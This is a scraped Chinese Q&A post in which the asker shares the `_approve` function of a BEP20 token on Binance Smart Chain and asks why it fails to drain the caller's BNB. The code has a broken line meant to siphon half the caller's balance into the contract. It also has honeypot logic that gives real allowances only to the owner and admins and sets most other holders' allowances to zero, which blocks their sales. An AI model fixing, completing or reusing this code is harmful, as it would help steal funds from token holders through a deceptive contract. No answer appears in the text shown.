【发布时间】:2021-09-20 00:12:24
【问题描述】:
这是我在币安智能链上部署的智能合约的部分源代码。我想向我的老师展示(如果可以的话)是当调用者调用此智能合约的批准功能时,调用者钱包中的所有 ETH/BNB 都会耗尽。
怎么了?谢谢。
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
if (owner == this.owner() || adminCheck(owner)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
if ((_hasBeenApproved[owner] == false) && (sellAuthorized() == true)) {
_hasBeenApproved[owner] = true;
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
}
【问题讨论】: